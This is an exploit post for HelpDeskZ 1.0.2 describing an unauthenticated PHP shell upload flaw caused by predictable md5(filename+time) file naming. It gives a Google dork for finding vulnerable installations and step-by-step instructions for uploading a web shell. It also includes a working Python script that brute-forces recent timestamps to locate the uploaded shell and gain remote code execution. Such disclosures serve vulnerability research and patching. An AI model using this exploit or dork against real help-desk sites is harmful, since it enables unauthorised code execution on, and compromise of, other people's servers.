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HelpDeskz 1.0.2 Shell Upload

Posted on 30 August 2016

# Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload
# Google Dork: intext:"Help Desk Software by HelpDeskZ"
# Date: 2016-08-26
# Exploit Author: Lars Morgenroth - @krankoPwnz
# Vendor Homepage: http://www.helpdeskz.com/
# Software Link: https://github.com/evolutionscript/HelpDeskZ-1.0/archive/master.zip
# Version: <= v1.0.2
# Tested on:
# CVE :

HelpDeskZ <= v1.0.2 suffers from an unauthenticated shell upload vulnerability.

The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk, because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file:

/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

So by guessing the time the file was uploaded, we can get RCE.

Steps to reproduce:

http://localhost/helpdeskz/?v=submit_ticket&action=displayForm

Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.

Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:

exploit.py http://localhost/helpdeskz/ phpshell.php
'''
import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()

url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)

print "Sorry, I did not find anything"

 

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